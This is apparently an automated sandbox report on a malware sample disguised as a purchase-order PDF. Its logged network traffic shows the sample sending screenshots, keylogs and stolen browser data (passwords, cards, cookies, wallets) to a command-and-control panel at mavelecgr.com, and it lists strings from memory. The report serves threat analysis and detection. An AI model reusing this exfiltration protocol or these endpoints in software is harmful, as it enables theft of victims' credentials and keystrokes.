Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e56e4abf73Host: mavelecgr.comContent-Length: 56147Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e57f759569Host: mavelecgr.comContent-Length: 256Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e5b136978bHost: mavelecgr.comContent-Length: 56276Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e5c06e9ccaHost: mavelecgr.comContent-Length: 284Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e6431da94fHost: mavelecgr.comContent-Length: 51165Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e64db148edHost: mavelecgr.comContent-Length: 241Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e6768f6999Host: mavelecgr.comContent-Length: 256Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e688503815Host: mavelecgr.comContent-Length: 284Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e6d3f8734bHost: mavelecgr.comContent-Length: 256Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e73bfc2d2fHost: mavelecgr.comContent-Length: 51327Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e747ce6100Host: mavelecgr.comContent-Length: 245Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e774e814a5Host: mavelecgr.comContent-Length: 52474Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e77994d39bHost: mavelecgr.comContent-Length: 284Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e7b74e1e9cHost: mavelecgr.comContent-Length: 51155Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e7b76d1bf7Host: mavelecgr.comContent-Length: 241Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e7b79a6ab2Host: mavelecgr.comContent-Length: 256Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e7b936b788Host: mavelecgr.comContent-Length: 51155Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e7b94e8eeeHost: mavelecgr.comContent-Length: 284Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e8024eaf22Host: mavelecgr.comContent-Length: 51155Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e809cf27bcHost: mavelecgr.comContent-Length: 241Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e835953e1fHost: mavelecgr.comContent-Length: 51180Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e842a22c7bHost: mavelecgr.comContent-Length: 284Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e86817b45bHost: mavelecgr.comContent-Length: 51058Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e86d9a1fa0Host: mavelecgr.comContent-Length: 256Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e88b67256eHost: mavelecgr.comContent-Length: 51155Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e89431f831Host: mavelecgr.comContent-Length: 284Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e8d948c58bHost: mavelecgr.comContent-Length: 51155Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e8d9609cc1Host: mavelecgr.comContent-Length: 241Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e8d9a4299eHost: mavelecgr.comContent-Length: 51155Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e8d9cb456dHost: mavelecgr.comContent-Length: 284Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e8da5b42f7Host: mavelecgr.comContent-Length: 51058Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e8da7bf811Host: mavelecgr.comContent-Length: 256Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e8dbe81775Host: mavelecgr.comContent-Length: 51058Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e8dbfefa89Host: mavelecgr.comContent-Length: 241Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e8e5082eaeHost: mavelecgr.comContent-Length: 256Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//config.json HTTP/1.1Host: mavelecgr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e9634a0583Host: mavelecgr.comContent-Length: 51320Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e96b22b214Host: mavelecgr.comContent-Length: 241Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e97a9fadaeHost: mavelecgr.comContent-Length: 51737Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e981676000Host: mavelecgr.comContent-Length: 256Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e995112f7aHost: mavelecgr.comContent-Length: 245Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//logs.php?hwid=CH35A22CC8A7&Passwords=0&CreditCards=0&Cookies=0&AutoFill=0&Wallets=0 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13dd0b1f9999Host: mavelecgr.comContent-Length: 46911Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702

Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.328581340.0000000004506000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.328581340.00000000043DD000.00000004.00000800.00020000.00000000.sdmp, update_232107.exe, 00000021.00000002.534533664.00000000037EF000.00000004.00000800.00020000.00000000.sdmp, update_232107.exe, 0000002A.00000002.626910982.0000000000402000.00000040.00000400.00020000.00000000.sdmp, update_232107.exe, 0000002A.00000002.672499287.0000000003BB1000.00000004.00000800.00020000.00000000.sdmp, Newtonsoft.Json.dll0.20.dr, Newtonsoft.Json.dll.20.dr	String found in binary or memory: http://expression/newtonsoft.json.dll
Source: Zip.exe, 00000016.00000002.465900541.00000185C00E5000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000016.00000002.465900541.00000185C0099000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000016.00000002.465900541.00000185C007F000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000016.00000002.465900541.00000185C00C2000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000016.00000002.465900541.00000185C00CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: update_232107.exe, 0000002A.00000002.626910982.0000000000402000.00000040.00000400.00020000.00000000.sdmp, update_232107.exe, 0000002A.00000002.641364256.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, Zip.exe.20.dr	String found in binary or memory: http://ip-api.com/json/
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.00000000033E2000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.701372874.0000000002F42000.00000004.00000800.00020000.00000000.sdmp, update_232107.exe, 0000002A.00000002.641364256.0000000002BD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com4
Source: Zip.exe, 00000016.00000002.465900541.00000185C0099000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com8
Source: Zip.exe, 00000016.00000002.465900541.00000185C007F000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000016.00000002.465900541.00000185C00CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.comx
Source: Newtonsoft.Json.dll.20.dr	String found in binary or memory: http://james.newtonking.com/projects/json
Source: asGTRKuvQ.exe, 00000026.00000002.701372874.0000000003022000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mavelecgr.com
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.328581340.0000000004506000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.328581340.00000000043DD000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.00000000033B1000.00000004.00000800.00020000.00000000.sdmp, update_232107.exe, 00000021.00000002.534533664.00000000037EF000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.701372874.0000000002F11000.00000004.00000800.00020000.00000000.sdmp, update_232107.exe, 0000002A.00000002.626910982.0000000000402000.00000040.00000400.00020000.00000000.sdmp, update_232107.exe, 0000002A.00000002.641364256.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mavelecgr.com/webpanel/
Source: asGTRKuvQ.exe, 00000026.00000002.701372874.0000000003022000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mavelecgr.com/webpanel//config.json
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.000000000341B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mavelecgr.com/webpanel//gate.php?hwid=CH35A22CC8A7
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.0000000003789000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mavelecgr.com/webpanel//keylogs.php?hwid=CH35A22CC8A7
